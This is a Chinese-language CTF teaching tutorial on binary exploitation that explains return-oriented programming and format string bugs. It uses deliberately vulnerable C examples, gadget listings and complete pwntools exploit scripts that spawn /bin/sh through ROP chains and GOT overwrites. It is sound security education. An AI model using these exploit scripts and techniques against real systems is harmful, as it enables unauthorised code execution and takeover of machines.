COMPASS CTF Tutorial 8: Binary Exploitation II

COMPASS CTF 教程【8】: 二进制利用 II

30016794 Zhao, Li (Research Assistant)

COMPuter And System Security Lab, Computer Science and Technology Department, College of Engineering (CE), SUSTech University.
南方科技大学 工学院 计算机科学与技术系 计算机与系统安全实验室

2023 年 8 月 15 日

返回导向式编程

现代操作系统往往有比较完善的 MPU 机制，可以按照内存页的粒度设置进程的内存使用权限。内存权限分别有可读（R）、可写（W）和可执行（X）。一旦 CPU 执行了没有可执行权限的内存上的代码，操作系统会立即终止程序。[1]

ROP

在默认情况下，基于漏洞缓解的规则，程序中不会存在同时具有可写和可执行权限的内存，所以无法通过修改程序的代码段或者数据段来执行任意代码。针对这种漏洞缓解机制，有一种通过返回到程序中特定的指令序列从而控制程序执行流程的攻击技术，被称为返回导向式编程（Return-Oriented Programming，ROP）。我们将介绍如何利用这种技术来实现在漏洞程序中执行任意指令。

ROP 链

我们曾介绍了栈溢出的原理和通过覆盖返回地址的方式来劫持程序的控制流，并通过 ret 指令跳转到 shell 函数来执行任意命令。但是正常情况下，程序中不可能存在这种函数。但是可以利用以 ret（0xc3）指令结尾的指令片段（gadget）构建一条 ROP 链，来实现任意指令执行，最终实现任意代码执行。具体步骤为：寻找程序可执行的内存段中所有的 ret 指令，然后查看在 ret 前的字节是否包含有效指令；如果有，则标记片段为一个可用的片段，找到一系列这样的以 ret 结束的指令后，则将这些指令的地址按顺序放在栈上；这样，每次在执行完相应的指令后，其结尾的 ret 指令会将程序控制流传递给栈顶的新的 Gadget 继续执行。栈上的这段连续的 Gadget 就构成了一条 ROP 链，从而实现任意指令执行。

寻找 gadget

理论上，ROP 是图灵完备的。在漏洞利用过程中，比较常用的 GADGET 有以下类型：

- 保存栈数据到寄存器，如：

```
pop    rax;    ret;
```

- 系统调用，如：

```
syscall;    ret;
int 0x80;   ret;
```

寻找 gadget

- 会影响栈帧的 Gadget，如：

```
leave;   ret;
pop rbp; ret;
```

寻找 gadget

寻找 Gadget 的方法包括：寻找程序中的 ret 指令，查看 ret 之前有没有所需的指令序列。也可以使用 ROPgadget、Ropper 等工具（更快速）。

返回导向式编程

```
#include<stdio.h>
```

```
#include<unistd.h>
int main() {
    char  buf[10];
    puts("hello");
    gets(buf);
}
```

图: 例 6-4-1

返回导向式编程

用如下命令进行编译：

```
gcc rop.c -o rop -no-pie -fno-stack-protector
```

与之前栈溢出所用的例子的差别在于，程序中并没有预置可以用来执行命令的函数。

初步分析

先用 ROPgadget 寻找这个程序中的 Gadget：

```
ROPgadget --binary rop
```

得到如下 Gadget：

Gadget

```
gadgets information
============================================================
0x00000000004004ae : adc byte ptr [rax], ah ; jmp rax
0x0000000000400479 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040047f : add bl, dh ; ret
0x00000000004005dd : add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004005db : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040055d : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004005dc : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x000000000040055e : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040055f : add byte ptr [rax], al ; leave ; ret
0x00000000004004b6 : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040047e : add byte ptr [rax], al ; ret
0x00000000004004b5 : add byte ptr [rax], r8b ; pop rbp ; ret
0x000000000040047d : add byte ptr [rax], r8b ; ret
0x0000000000400517 : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000400560 : add cl, cl ; ret
0x0000000000400518 : add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
0x0000000000400413 : add esp, 8 ; ret
0x0000000000400412 : add rsp, 8 ; ret
0x0000000000400478 : and byte ptr [rax], al ; hlt ; nop dword ptr [rax + rax] ; ret
0x0000000000400489 : and byte ptr [rax], al ; test rax, rax ; je 0x400419 ; call rax
0x00000000004005b9 : call qword ptr [r12 + rbx*8]
0x00000000004005ba : call qword ptr [rsp + rbx*8]
0x0000000000400410 : call rax
0x00000000004005bc : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040047a : hlt ; nop dword ptr [rax + rax] ; ret
0x000000000040040e : je 0x400414 ; call rax
0x00000000004004a9 : je 0x4004c0 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004004eb : je 0x400500 ; pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004004b1 : jmp rax
0x0000000000400561 : leave ; ret
0x0000000000400512 : mov byte ptr [rip + 0x200b1f], 1 ; pop rbp ; ret
0x000000000040055c : mov eax, 0 ; leave ; ret
0x00000000004004ac : mov edi, 0x601038 ; jmp rax
```

Gadget

```
0x00000000004005b7 : mov edi, ebp ; call qword ptr [r12 + rbx*8]
0x00000000004005b6 : mov edi, r13d ; call qword ptr [r12 + rbx*8]
0x00000000004004b3 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x00000000004004f7b : nop dword ptr [rax + rax] ; ret
0x00000000004004f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400515 : or esp, dword ptr [rax] ; add byte ptr [rcx], al ; pop rbp ; ret
0x00000000004005b8 : out dx, eax ; call qword ptr [r12 + rbx*8]
0x00000000004005cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005ce : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005d0 : pop r14 ; pop r15 ; ret
0x00000000004005d2 : pop r15 ; ret
0x00000000004004ab : pop rbp ; mov edi, 0x601038 ; jmp rax
0x00000000004005cb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005cf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005d3 : pop rdi ; ret
0x00000000004005d1 : pop rsi ; pop r15 ; ret
0x00000000004005cd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret
0x000000000040040d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000004005e5 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004005e4 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004005da : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ;
ret
0x000000000040040c : test eax, eax ; je 0x400416 ; call rax
0x000000000040040b : test rax, rax ; je 0x400417 ; call rax

Unique gadgets found: 58
```

进一步分析

这个程序很小，可供使用的 Gadget 非常有限，其中没有 syscall 这类可以用来执行系统调用的 Gadget，所以很难实现任意代码执行。但是可以想办法先获取一些动态链接库（如 libc）的加载地址，再使用 libc 中的 Gadget 构造可以实现任意代码执行的 ROP。

进一步分析

程序中常常有像 puts、gets 等 libc 提供的库函数，这些函数在内存中的地址会写在程序的 GOT 表中，当程序调用库函数时，会在 GOT 表中读出对应函数在内存中的地址，然后跳转到该地址执行（见图 6-4-1），所以先利用 puts 函数打印库函数的地址，减掉该库函数与 libc 加载基地址的偏移，就可以计算出 libc 的基地址。

进一步分析

```
.plt:0000000000400430
.plt:0000000000400430 ; Attributes: thunk
.plt:0000000000400430
.plt:0000000000400430 ; int puts(const char *s)
.plt:0000000000400430 _puts           proc near
.plt:0000000000400430                 jmp     cs:off_601018
.plt:0000000000400430 _puts           endp
.plt:0000000000400430
.plt:0000000000400436 ; ---------------------------------------
```

图: 计算出 libc 的基地址

GOT 表

程序中的 GOT 表见图 6-4-2。puts 函数的地址被保存在 0x601018 位置，只要调用 **puts（0x601018)**，就会打印 puts 函数在 libc 中的地址。

```
.got.plt:0000000000601000 ; Segment permissions: Read/Write
.got.plt:0000000000601000 _got_plt        segment qword public 'DATA' use64
.got.plt:0000000000601000                 assume cs:_got_plt
.got.plt:0000000000601000                 ;org 601000h
.got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_4004
.got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_4004
.got.plt:0000000000601018 off_601018      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000601020 off_601020      dq offset gets          ; DATA XREF: _gets↑r
.got.plt:0000000000601020 _got_plt        ends
.got.plt:0000000000601020
```

图: 程序中的 GOT 表

打印 puts 函数在 libc 中的地址

```
>>> from pwn import *
>>> p=process('./rop')
```

```
 [x] Starting local process './rop'
[+] Starting local process './rop': pid 4685
>>>pop_rdi = 0x4005d3
>>>puts_got = 0x601018
>>>puts = 0x400430
>>> p.sendline('a'*18+p64(pop_rdi)+p64(puts_got)+p64(puts))
>>> p.recvuntil('\n')
'hello\n'
>>> addr = u64(p.recv(6).ljust(8,'\x00'))
>>> hex(addr)
'0x7fcd606e19c0'
```

构造 ROP

根据 puts 函数在 libc 库中的偏移地址，就可以计算出 libc 的基地址，然后可以利用 libc 中的 Gadget 构造可以执行 “**/bin/sh**” 的 ROP，从而获得 shell。可以直接调用 libc 中的 system 函数，也可以使用 syscall 系统调用来完成。调用 system 函数的方法与之前的类似，所以这里改为用系统调用来进行演示。

系统调用

通过查询系统调用表，可以知道 execve 的系统调用号为 59，想要实现任意命令执行，需要把参数设置为：

```
execve("/bin/sh", 0, 0)
```

在 x64 位操作系统上，设置方式为在执行 syscall 前将 rax 设为 59，rdi 设为字符串'**/bin/sh**' 的地址，rsi 和 rdx 设为 0。字符串'/bin/sh' 可以在 libc 中找到，不需另外构造。

写入寄存器

虽然不能直接改写寄存器中的数据，但是可以将要写入寄存器的数据和 Gadget 一起入栈，然后通过出栈指令的 Gadget，将这些数据写入寄存器。本例需要用到的寄存器有 RAX、RDI、RSI、RDX，可以从 libc 中找到需要的 Gadget：

```
0x00000000000439c8 : pop rax ; ret
0x000000000002155f : pop rdi ; ret
0x0000000000023e6a : pop rsi ; ret
0x0000000000001b96 : pop rdx ; ret
0x00000000000d2975 : syscall ; ret
```

最后的步骤

泄露库函数地址后，接下来要做的就是控制程序重新执行 main 函数，这样可以让程序重新执行，从而可以读入并执行新的 ROP 链来实现任意代码执行。
完整利用脚本如下：

```
from pwn import *
p=process('./rop')
elf=ELF('./rop')
```

完整利用脚本

```
libc = elf.libc
pop_rdi = 0x4005d3
puts_got = 0x601018
puts = 0x400430
main = 0x400537
rop1 = "a"*18
rop1 += p64(pop_rdi)
rop1 += p64(puts_got)
rop1 += p64(puts)
rop1 += p64(main)
p.sendline(rop1)
p.recvuntil('\n')
addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = addr - libc.symbols['puts']
info("libc:0x%x",libc_base)
pop_rax = 0x00000000000439c8 + libc_base
pop_rdi = 0x000000000002155f + libc_base
pop_rsi = 0x0000000000023e6a + libc_base
pop_rdx = 0x0000000000001b96 + libc_base
syscall = 0x00000000000d2975 + libc_base
binsh = next(libc.search("/bin/sh")) + libc_base
# 搜索 libc 中"/bin/sh"字符串的地址
rop2 = "a"*18
rop2 += p64(pop_rax)
rop2 += p64(59)
rop2 += p64(pop_rdi)
rop2 += p64(binsh)
rop2 += p64(pop_rsi)
rop2 += p64(0)
rop2 += p64(pop_rdx)
rop2 += p64(0)
rop2 += p64(syscall)

p.recvuntil("hello\n")
p.sendline(rop2)
p.interactive()
```

总结

ROP 的基本介绍如上，读者可以按照上面的例子，在调试器中单步跟踪 ROP 的执行过程。这样可以深刻理解 ROP 执行的原理和过程。ROP 更加高级的用法，如循环选择等，需要根据一定条件修改 RSP 的值来实现。学习者可以自己动手尝试构造，不再赘述。[2]

格式化字符串漏洞基本原理

C 语言中常用的格式化输出函数如下：

```
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int sprintf(char *str, const char *format, ...);
```

```
int snprintf(char *str, size_t size, const char *format, ...);
```

格式化字符串漏洞基本原理

它们的用法类似，本节以 printf 为例。在 C 语言中，printf 的常规用法为：

```
printf("%s\n", "hello world! ");
printf("number:%d\n", 1);
```

其中，函数第一个参数带有%d、%s 等占位符的字符串被称为格式化字符串，占位符用于指明输出的参数值如何格式化。

占位符

占位符的语法为：

```
%[parameter][flags][field width][.precision][length]type
```

parameter 可以忽略或者为 n$，n 表示此占位符是传入的第几个参数。

占位符中的 flags

flags 可为 0 个或多个，主要包括：

- +—总是表示有符号数值的'+'或'-'，默认忽略正数的符号，仅适用于数值类型。
- 空格—有符号数的输出如果没有正负号或者输出 0 个字符，则以 1 个空格作为前缀。
- -—左对齐，默认是右对齐。

占位符中的 flags

- #—对于'g' 与'G'，不删除尾部 0 以表示精度；对于'f'、'F'、'e'、'E'、'g'、'G'，总是输出小数点；对于'o'、'x'、'X'，在非 0 数值前分别输出前缀 0、0x 和 0X，表示数制。
- 0—在宽度选项前，表示用 0 填充。

占位符中的 field width

field width 给出显示数值的最小宽度，用于输出时填充固定宽度。实际输出字符的个数不足域宽时，根据左对齐或右对齐进行填充，负号解释为左对齐标志。如果域宽设置为“*”，则由对应的函数参数的值为当前域宽。

占位符中的 precision

precision 通常指明输出的最大长度，依赖于特定的格式化类型：

- 对于 d、i、u、x、o 的整型数值，指最小数字位数，不足的在左侧补 0。
- 对于 a、A、e、E、f、F 的浮点数值，指小数点右边显示的位数。
- 对于 g、G 的浮点数值，指有效数字的最大位数。
- 对于 s 的字符串类型，指输出的字节的上限。

如果域宽设置为“*”，则对应的函数参数的值为 precision 当前域宽。

占位符中的 length

length 指出浮点型参数或整型参数的长度：

- hh—匹配 int8 大小（1 字节）的整型参数。
- h—匹配 int16 大小（2 字节）的整型参数。
- l—对于整数类型，匹配 long 大小的整型参数；对于浮点类型，匹配 double 大小的参数；对于字符串 s 类型，匹配 wchar_t 指针参数；对于字符 c 类型，匹配 wint_t 型的参数。

占位符中的 length

- ll—匹配 long long 大小的整型参数。
- L—匹配 long double 大小的整型参数。
- z—匹配 size_t 大小的整型参数。
- j—匹配 intmax_t 大小的整型参数。
- t—匹配 ptrdiff_t 大小的整型参数。

占位符中的 type

type 表示如下：

- d、i—有符号十进制 int 值。
- u—十进制 unsigned int 值。
- f、F—十进制 double 值。
- e、E—double 值，输出形式为十进制的“**[-]d.ddd e[+/-]ddd**”。

占位符中的 type

- g、G—double 型数值，根据数值的大小，自动选 f 或 e 格式。
- x、X—十六进制 unsigned int 值。
- o—八进制 unsigned int 值。
- s—字符串，以\x00 结尾。
- c—一个 char 类型字符。

占位符中的 type

- p—void*指针型值。
- a、A—double 型十六进制表示，即'**[-]0xh.hhhh p±d**'，指数部分为十进制表示的形式。
- n—把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %—'%' 字面值，不接受任何 flags、width、precision 或 length。

如果程序中 printf 的格式化字符串是可控的，即使在调用时没有填入对应的参数，printf 函数也会从该参数位置所对应的寄存器或栈中取出数据作为参数进行读写，容易造成任意地址读写。

格式化字符串漏洞基本利用方式

通过格式化字符串漏洞可以进行任意内存的读写。由于函数参数通过栈进行传递，因此使用“**%X$p**”（X 为任意正整数）可以泄露栈上的数据。并且，在能对栈上数据进行控制的情况下，可以事先将想泄露的地址写在栈上，再使用“%X$p”，就可以以字符串格式输出想泄露的地址。

格式化字符串漏洞基本利用方式

除此之外，由于“**%n**”可以将已经成功输出的字符的个数写入对应的整型指针参数所指的变量，因此可以事先在栈上布置想要写入的内存的地址。再通过“**%Yc%X$n**”（Y 为想要写入的数据）就可以进行任意内存写。

例 6-5-1

```
#include<stdio.h>
#include<unistd.h>
int main() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    while(1) {
        char format[100];
        puts("input your name:");
        read(0, format,100);
        printf("hello ");
        printf(format);
    }
    return 0;
}
```

图: 格式化字符串利用的例子

例 6-5-1

用如下命令编译例 6-5-1 的程序：

```
gcc fsb.c -o fsb -fstack-protector-all -pie -fPIE -z lazy
```

初步分析

在 printf 处设置断点，此时 RSP 正好在我们输入字符串的位置，即**第 6 个参数**的位置（64 位 Linux 前 5 个参数和格式化字符串由寄存器传递），我们输入“**AAAAAAAA%6$p**”：

```
$ ./fsb
input your name:
AAAAAAAA%6$p
hello AAAAAAAA0x4141414141414141
```

程序确实把输入的 8 个 A 当作指针型变量输出了，我们可以先利用这个进行信息泄露。

初步分析

栈中有___libc_start_main 调用__libc_csu_init 前压入的返回地址（见图 6-5-1），根据这个地址，就可以计算 libc 的基地址，可以计算出该地址在**第 21 个参数**的位置；同理，_start 在**第 17 个参数**的位置，通过它可以计算出 fsb 程序的基地址。

```
$ ./fsb
input your name:
%17$p%21$p
hello 0x559ac59416d00x7f1b57374b97
```

初步分析

```
pwndbg> stack 20
00:0000  rsp  0x7fffffffee008 —▸ 0x8000860 (main+134) ◂— lea    rax, [rbp - 0x70] /* 0xb8c7894890458d48 */
01:0008  rsi  0x7fffffffee010 ◂— 0xa /* '\n' */
02:0010       0x7fffffffee018 ◂— 0x756e6547 /* 'Genu' */
03:0018       0x7fffffffee020 ◂— 9 /* '\t' */
04:0020       0x7fffffffee028 —▸ 0x7fffff402660 (_dl_main) ◂— push   rbp
05:0028       0x7fffffffee030 —▸ 0x7fffffffee098 —▸ 0x7fffffffee168 —▸ 0x7fffffffee39f ◂— 0x552f632f746e6d2f ('/mnt/c/U')
06:0030       0x7fffffffee038 ◂— 0xf0b5ff
07:0038       0x7fffffffee040 ◂— 0x1
08:0040       0x7fffffffee048 —▸ 0x80008cd (__libc_csu_init+77) ◂— add    rbx, 1 /* 0x75dd394801c38348 */
09:0048       0x7fffffffee050 —▸ 0x7fffff4109a0 (_dl_fini) ◂— push   rbp
0a:0050       0x7fffffffee058 ◂— 0x0
0b:0058       0x7fffffffee060 —▸ 0x8000880 (__libc_csu_init) ◂— push   r15 /* 0x41d7894956415741 */
0c:0060       0x7fffffffee068 —▸ 0x80006d0 (_start) ◂— xor    ebp, ebp /* 0x89485ed18949ed31 */
0d:0068       0x7fffffffee070 —▸ 0x7fffffffee160 ◂— 0x1
0e:0070       0x7fffffffee078 ◂— 0x56b71687baea7a00
0f:0078  rbp  0x7fffffffee080 —▸ 0x8000880 (__libc_csu_init) ◂— push   r15 /* 0x41d7894956415741 */
10:0080       0x7fffffffee088 —▸ 0x7fffff021b97 (__libc_start_main+231) ◂— mov    edi, eax
11:0088       0x7fffffffee090 ◂— 0x1
12:0090       0x7fffffffee098 —▸ 0x7fffffffee168 —▸ 0x7fffffffee39f ◂— 0x552f632f746e6d2f ('/mnt/c/U')
```

图: ___libc_start_main 调用___libc_csu_init 前压入的返回地址

进一步利用

有了 libc 基地址后，就可以计算 system 函数的地址，然后将 GOT 表中 printf 函数的地址修改为 system 函数的地址。下一次执行 printf（format）时，实际会执行 system（format），输入 format 为“**/bin/sh**”即可获得 shell。利用脚本如下：

```
from pwn import *
elf = ELF('./fsb')
libc = ELF('./libc-2.27.so')
p = process('./fsb')
p.recvuntil('name:')
p.sendline("%17$p%21$p")
p.recvuntil("0x")
addr = int(p.recvuntil('0x')[:-2],16)
base = addr - elf.symbols['_start']
info("base:0x%x", base)
addr = int(p.recvuntil('\n')[:-1],16)

libc_base = addr - libc.symbols['__libc_start_main']-0xe7
info("libc:0x%x", libc_base)
```

进一步利用

```
system = libc_base + libc.symbols['system']
info("system:0x%x", system)
ch0 = system&0xffff
ch1 = (((system>>16)&0xffff)-ch0)&0xffff
ch2 = (((system>>32)&0xffff)-(ch0+ch1))&0xffff

payload  = "%"+str(ch0)+"c%12$hn"
payload += "%"+str(ch1)+"c%13$hn"
payload += "%"+str(ch2)+"c%14$hn"
payload = payload.ljust(48, 'a')
payload +=p64(base+0x201028)
# printf 在 GOT 表中的地址
payload +=p64(base+0x201028+2)
payload +=p64(base+0x201028+4)
p.sendline(payload)
p.sendline("/bin/sh\x00")
p.interactive()
```

总结

脚本中将 system 的地址（6 字节）拆分为 3 个 word（2 字节），是因为如果一次性输出一个 int 型以上的字节，printf 会输出几 GB 的数据，在攻击远程服务器时可能非常慢，或者导致管道中断（broken pipe）。注意，64 位的程序中，地址往往只占 6 字节，也就是高位的 2 字节必然是“**\x00**”，所以 3 个地址一定要放在 payload 最后，而不能放在最前面。虽然放在最前面，偏移量更好计算，但是 printf 输出字符串时是到“\x00”为止，地址中的“\x00”会截断字符串，之后用于写入地址的占位符并不会生效。

格式化字符串不在栈上的利用方式

有时输入的字符串并不是保存在栈上的，这样没法直接在栈上布置地址去控制 printf 的参数，这种情况下的利用相对比较复杂。
因为程序有在调用函数时将 rbp 压入栈中或者将一些指针变量存在栈中等操作，所以栈上会有很多保存着栈上地址的指针，而且容易找到三个指针 p1、p2、p3，形成 p1 指向 p2、p2 指向 p3 的情况，这时我们可以先利用 p1 修改 p2 最低 1 字节，可以使 p2 指向 p3 指针 8 字节中的任意 1 字节并修改它，这样可以逐字节地修改 p3 成为任意值，间接地控制了栈上的数据。

例 6-5-2

```
#include<stdio.h>
#include<unistd.h>
void init() {
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    return;
}
void fsb(char* format,int n) {
    puts("please input your name:");
    read(0, format, n);
    printf("hello");
```

图: 例 6-5-2（上）

例 6-5-2

```
    printf(format);
    return;
}
void vuln() {
    char  * format = malloc(200);
    for(int i=0; i<30; i++) {
        fsb(format, 200);
    }
    free(format);
    return;
}
int main() {
    init();
    vuln();
    return;
}
```

图: 例 6-5-2（下）

例 6-5-2

用如下命令编译例 6-5-2 的程序：

```
gcc fsb.c -o fsb -fstack-protector-all -pie -fPIE -z lazy
```

分析及利用

在 printf 处设置断点，此时栈分布情况见图 6-5-2。0x7fffffee030 处保存的指针指向 0x7fffffee060，而 0x7fffffee060 处保存的指针又指向了 0x7fffffee080，满足了上面的要求，这 3 个指针分别在 printf 第 10、16、20 个参数的位置。该程序在循环执行 30 次输入、输出前申请了一个内存块，用于存放输入的字符串，循环结束后会释放掉这个内存块然后退出程序。我们可以将 0x7fffffee080 处的值改为 GOT 表中 free 函数项的地址，再将其中的函数指针改为 system 函数的地址。这样在执行 free(format) 时，实际执行的就是 system(format) 了，只要输入'/bin/sh' 即可拿到 shell。

分析及利用

```
pwndbg> stack 20
00:0000 | rsp  0x7fffffffe008 —▸ 0x8000986 (fsb+82) ◂— mov    rax, qword ptr [rbp - 0x18] /* 0xb8c78948e8458b48 */
01:0008 |      0x7fffffffe010 ◂— 0xc8ff3ec680
02:0010 |      0x7fffffffe018 —▸ 0x8402260 ◂— 0xa /* '\n' */
03:0018 |      0x7fffffffe020 ◂— 0x0
04:0020 |      0x7fffffffe028 ◂— 0x128dad93302c1100
05:0028 | rbp  0x7fffffffe030 —▸ 0x7fffffffe060 —▸ 0x7fffffffe080 —▸ 0x8000a60 (__libc_csu_init) ◂— push   r15 /*
06:0030 |      0x7fffffffe038 —▸ 0x80009ed (vuln+63) ◂— add    dword ptr [rbp - 0x14], 1 /* 0x1dec7d8301ec4583 */
07:0038 |      0x7fffffffe040 —▸ 0x7fffffffe160 ◂— 0x1
08:0040 |      0x7fffffffe048 —▸ 0x800091d (init+83) ◂— nop    /* 0x334864f8458b4890 */
09:0048 |      0x7fffffffe050 —▸ 0x8402260 ◂— 0xa /* '\n' */
0a:0050 |      0x7fffffffe058 ◂— 0x128dad93302c1100
0b:0058 |      0x7fffffffe060 —▸ 0x7fffffffe080 —▸ 0x8000a60 (__libc_csu_init) ◂— push   r15 /* 0x41d7894956415741
0c:0060 |      0x7fffffffe068 —▸ 0x8000a45 (main+43) ◂— nop    /* 0x4864f8558b489090 */
0d:0068 |      0x7fffffffe070 —▸ 0x7fffffffe160 ◂— 0x1
0e:0070 |      0x7fffffffe078 ◂— 0x128dad93302c1100
0f:0078 |      0x7fffffffe080 —▸ 0x8000a60 (__libc_csu_init) ◂— push   r15 /* 0x41d7894956415741 */
10:0080 |      0x7fffffffe088 —▸ 0x7ffffff021b97 (__libc_start_main+231) ◂— mov    edi, eax
11:0088 |      0x7fffffffe090 ◂— 0x1
12:0090 |      0x7fffffffe098 —▸ 0x7fffffffe168 —▸ 0x7fffffffe39f ◂— 0x552f632f746e6d2f ('/mnt/c/U')
13:0098 |      0x7fffffffe0a0 ◂— 0x100008000
```

图: 栈分布情况

完整利用脚本

完整脚本如下：

```
from pwn import *
p=process('./fsb2')
libc = ELF('./libc-2.27.so')
elf = ELF('./fsb2')
```

完整利用脚本

```python
p.recvuntil('name:')
p.sendline('%10$p%11$p%21$p')
# 第一步仍然是泄露需要用到的地址
p.recvuntil('0x')
stack_addr = int(p.recvuntil('0x')[:-2], 16)
addr1 = int(p.recvuntil('0x')[:-2], 16)
base = addr1 - elf.symbols['vuln']-0x3f
addr2 = int(p.recvuntil('\n')[:-1], 16)
libc_base = addr2 - libc.symbols['__libc_start_main']-0xe7

info("stack:0x%x", stack_addr)
info("base :0x%x", base)
info("libc :0x%x", libc_base)
p1 = stack_addr-48
p2 = stack_addr
p3 = stack_addr+32
# 计算 3 个指针的地址
free_got = base + elf.got['free']
system = libc_base + libc.symbols['system']
info("system:0x%x", system)
# overwrite p3 to free_got
for i in range(0, 6):
    x = 5-i
    off = (p3+x)&0xff
    p.recvuntil('name')
    p.sendline("%"+str(off)+"c%10$hhn"+'\x00'*50)
    # 每次修改 p2 指针的低字节使其指向 p3 指针各字节的地址
    ch = (free_got>>(x*8))&0xff
    p.recvuntil('name')
    p.sendline("%"+str(ch)+"c%16$hhn"+'\x00'*50)
# 修改 p3 指针所指向的地址为 free_got 地址对应字节的值
# 循环结束后，p3 指针所指向的变量被修改为 GOT 表中 free 函数项的地址（以下称该变量为 free_got_ptr 指针）
# overwrite free_got to system
for i in range(0,6):
    off = (free_got+i)&0xff
    p.recvuntil('name')
    p.sendline("%"+str(off)+"c%16$hhn"+'\x00'*50)
    #每次修改 free_got_ptr 指针的低字节使其指向 GOT 表中 free 函数项指针的各字节的地址
    ch = (system>>(i*8))&0xff
    p.recvuntil('name')
    p.sendline("%"+str(ch)+"c%20$hhn"+'\x00'*50)
# 修改 free_got_ptr 所指向地址为 system 地址对应字节的值
# 循环结束后，GOT 表中 free 函数项指针指向 system 函数地址
for i in range(30-25):
    p.recvuntil('name')
    p.sendline('/bin/sh'+'\x00'*100)
# 修改 format 为"/bin/sh"，循环结束释放 format 时执行 system("/bin/sh")

p.interactive()
```

格式化字符串的一些特殊用法

格式化字符串有时会遇到一些比较少见的占位符，如'*' 表示取对应函数参数的值来作为宽度，printf('%*d'，3，1) 输出'1'。

例 6-5-3

```
#include<stdio.h>
#include<unistd.h>
#include<fcntl.h>
int main() {
   char  buf[100];
   long  long a=0;
   long  long b=0;
   int  fp = open("/dev/urandom",O_RDONLY);
   read(fp, &a, 2);
   read(fp, &b, 2);
   close(fp);
   long long  num;
   puts("your name:");
   read(0, buf, 100);
   puts("you can guess a number,if you are lucky I will give you a gift:");

   long long  *num_ptr = &num;
   scanf("%lld", num_ptr);
   printf("hello ");
   printf(buf);
   printf("let me see ...");
   if(a+b == num) {
      puts("you win, I will give you a shell!");
      system("/bin/sh");
   }
   else {
      puts("you are not lucky enough");
      exit(0);
   }
}
```

图: 例 6-5-3

初步分析

如在例 6-5-3 中，猜测两个数的和，猜对后可以拿到 shell。不考虑爆破的情况，虽然格式化字符串可以泄露这两个数的值，但是输入是在泄露前，泄露后已经无法修改猜测的值，所以必须利用这个机会，直接往 num 中填上 a 与 b 的和，这就需要用到占位符'*'。

初步分析

在 printf(buf) 处设置断点，此时栈上的数据见图 6-5-3。a、b 两个数（分别为 0x1b2d、0xc8e3）在第 8、9 个参数位置，num_ptr 在第 11 个参数位置。a、b 两个数作为两个输出宽度，输出的字符数就是 a、b 之和，再用“%n”写入 num 中，即可达到 num==a+b 的效果。

初步分析

```
pwndbg> stack 20
00:0000│ rsp  0x7fffffffedfd8 —▸ 0x80009ba (main+240) ◂— lea
01:0008│      0x7fffffffedfe0 ◂— 0xb01045
02:0010│      0x7fffffffedfe8 ◂— 0x300000000
03:0018│      0x7fffffffedff0 ◂— 0x1b2d
04:0020│      0x7fffffffedff8 ◂— 0xc8e3
05:0028│      0x7fffffffee000 ◂— 0x1
06:0030│      0x7fffffffee008 —▸ 0x7fffffffee000 ◂— 0x1
```

图: 栈上的数据

最终利用脚本

脚本如下：

```
from pwn import *
pay = "%*8$c%*9$c%11$n"
p= process('./fsb3')
p.recvuntil('name')
p.sendline(pay)
p.recvuntil('gift')
p.sendline('1')
p.interactive()
```

格式化字符串小结

格式化字符串利用最终还是任意地址的读写，一个程序只要能做到任意地址读写，距离完全控制就不远了。
有时候程序会开启 Fortify 保护机制，这样程序在编译时所有的 printf() 都会被 __printf_chk() 替换。两者之间的区别如下：

格式化字符串小结

- 当使用位置参数时，必须使用范围内的所有参数，不能使用位置参数不连续地打印。例如，要使用“%3$x”，必须同时使用“%1$x”和“%2$x”。
- 包含“%n”的格式化字符串不能位于内存中的可写地址。

这时虽然任意地址写很难，但可以利用任意地址读进行信息泄露，配合其他漏洞使用。[3]

参考文献

[1] Nu1L. 从 0 到 1：CTFer 成长之路 [EB/OL]. https://book.douban.com/subject/35200558/.

[2] Wikipedia, the Free Encyclopedia. Return-Oriented Programming[Z]. https://en.wikipedia.org/wiki/Return-oriented_programming. Accessed 15 Aug. 2023. 2023.

[3] Unknown. Exploiting Format String Vulnerabilities[Z]. http://julianor.tripod.com. Accessed on 1 Sept. 2001. 2001.